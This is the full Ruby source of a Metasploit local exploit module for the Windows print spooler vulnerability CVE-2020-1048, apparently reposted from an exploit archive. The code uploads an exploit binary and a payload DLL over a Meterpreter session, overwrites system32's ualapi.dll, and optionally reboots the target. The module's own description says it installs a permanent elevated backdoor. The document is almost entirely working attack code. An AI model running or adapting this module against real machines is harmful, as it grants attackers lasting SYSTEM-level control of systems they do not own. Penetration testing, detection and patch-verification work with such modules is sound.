Microsoft Spooler Local Privilege Elevation

This exploit leverages a file write vulnerability in the print spooler service which will restart if stopped. Because the service cannot be stopped long enough to remove the dll, there is no way to remove the dll once it is loaded by the service. Essentially, on default settings, this module adds a permanent elevated backdoor.


MD5 | dfa46dafd7f5bbc3e8f526a18d5976b2

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::Common
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Exploit::EXE

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft Spooler Local Privilege Elevation Vulnerability',
'Description' => %q{
This exploit leverages a file write vulnerability in the print spooler service
which will restart if stopped. Because the service cannot be stopped long
enough to remove the dll, there is no way to remove the dll once
it is loaded by the service. Essentially, on default settings, this module
adds a permanent elevated backdoor.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Yarden Shafir', # Original discovery
'Alex Ionescu', # Original discovery
'shubham0d', # PoC
'bwatters-r7' # msf module
],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Targets' =>
[
[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X64 ] } ]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Nov 04 2019',
'References' =>
[
['CVE', '2020-1048'],
['URL', 'https://windows-internals.com/printdemon-cve-2020-1048/']
],
'DefaultOptions' =>
{
'DisablePayloadHandler' => true
},
'SideEffects' => [ ARTIFACTS_ON_DISK, SCREEN_EFFECTS ]
)
)

register_options([
OptString.new('EXPLOIT_NAME',
[true, 'The filename to use for the exploit binary (%RAND% by default).', "#{Rex::Text.rand_text_alpha(6..14)}.exe"]),
OptString.new('PAYLOAD_NAME',
[true, 'The filename for the payload to be used on the target host (%RAND%.dll by default).', Rex::Text.rand_text_alpha(6..14).to_s]),
OptString.new('WRITABLE_DIR',
[false, 'Path to write binaries (%TEMP% by default).', nil]),
OptString.new('OVERWRITE_DLL',
[false, 'Filename to overwrite (%WINDIR%\system32\ualapi.dll by default).', nil]),
OptBool.new('RESTART_TARGET',
[true, 'Restart the target after exploit (you will lose your session until a second reboot).', false]),
OptInt.new('EXECUTE_DELAY',
[true, 'The number of seconds to delay between file upload and exploit launch', 3])
])
end

def cve_2020_1048_privileged_filecopy(destination_file, source_file, exploit_path, target_arch, force_exploit = false)
# Upload Exploit
if target_arch == ARCH_X86
vprint_status('Using x86 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.Win32.exe')
else
vprint_status('Using x64 binary')
exploit_bin = exploit_data('CVE-2020-1048', 'cve-2020-1048-exe.x64.exe')
end
vprint_status("Uploading exploit to #{sysinfo['Computer']} as #{exploit_path}")
if file?(exploit_path)
print_error("#{exploit_path} already exists")
return false unless force_exploit
end
fail_with(Failure::BadConfig, 'No exploit binary found') if exploit_bin.nil?
write_file(exploit_path, exploit_bin)
print_status("Exploit uploaded on #{sysinfo['Computer']} to #{exploit_path}")

# Run Exploit
vprint_status('Running Exploit')
begin
output = cmd_exec('cmd.exe', "/c #{exploit_path} #{destination_file} #{source_file}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
output
end

def exploit
exploit_name = datastore['EXPLOIT_NAME']
vprint_status("exploit_name = #{exploit_name}")
exploit_name = "#{exploit_name}.exe" unless exploit_name.end_with?('.exe')
payload_name = datastore['PAYLOAD_NAME']
if datastore['OVERWRITE_TARGET'].nil? || datastore['OVERWRITE_TARGET'].empty?
win_dir = session.sys.config.getenv('windir')
overwrite_target = "#{win_dir}\\system32\\ualapi.dll"
else
overwrite_target = datastore['OVERWRITE_TARGET']
end
temp_path = datastore['WRITABLE_DIR'] || session.sys.config.getenv('TEMP')
payload_path = "#{temp_path}\\#{payload_name}"
exploit_path = "#{temp_path}\\#{exploit_name}"
payload_dll = generate_payload_dll

# Check target
vprint_status('Checking Target')
validate_active_host
validate_payload
fail_with(Failure::BadConfig, "#{temp_path} does not exist on the target") unless directory?(temp_path)

# Upload Payload
vprint_status('Uploading Payload')
ensure_clean_destination(payload_path)
write_file(payload_path, payload_dll)
print_status("Payload (#{payload_dll.length} bytes) uploaded on #{sysinfo['Computer']} to #{payload_path}")
print_warning("This exploit requires manual cleanup of the payload #{payload_path}")
vprint_status("Sleeping for #{datastore['EXECUTE_DELAY']} seconds before launching exploit")
sleep(datastore['EXECUTE_DELAY'])

# Run the exploit
output = cve_2020_1048_privileged_filecopy(overwrite_target, payload_path, exploit_path, sysinfo['Architecture'])
vprint_status("Exploit output:\n#{output}")
sleep(1) # make sure exploit is finished
vprint_status("Removing #{exploit_path}")
session.fs.file.rm(exploit_path)

# Reboot, if desired
if datastore['RESTART_TARGET']
sleep(10)
vprint_status("Rebooting #{sysinfo['Computer']}")
reboot_command = 'shutdown /r'
begin
cmd_exec('cmd.exe', "/c #{reboot_command}")
rescue Rex::TimeoutError => e
elog('Caught timeout. Exploit may be taking longer or it may have failed.', error: e)
print_error('Caught timeout. Exploit may be taking longer or it may have failed.')
end
end
end

def validate_active_host
begin
print_status("Attempting to PrivEsc on #{sysinfo['Computer']} via session ID: #{datastore['SESSION']}")
rescue Rex::Post::Meterpreter::RequestError => e
elog('Could not connect to session', error: e)
raise Msf::Exploit::Failed, 'Could not connect to session'
end
end

def validate_payload
vprint_status("Target Arch = #{sysinfo['Architecture']}")
vprint_status("Payload Arch = #{payload.arch.first}")
unless payload.arch.first == sysinfo['Architecture']
fail_with(Failure::BadConfig, 'Payload arch must match target arch')
end
end

def check
sysinfo_value = sysinfo['OS']
build_num = sysinfo_value.match(/\w+\d+\w+(\d+)/)[0].to_i
vprint_status("Build Number = #{build_num}")
return Exploit::CheckCode::Appears if sysinfo_value =~ /10/ && build_num <= 18363

return Exploit::CheckCode::Safe
end

def ensure_clean_destination(path)
return unless file?(path)

print_status("#{path} already exists on the target. Deleting...")
begin
file_rm(path)
print_status("Deleted #{path}")
rescue Rex::Post::Meterpreter::RequestError => e
elog(e)
print_error("Unable to delete #{path}")
end
end
end

Related Posts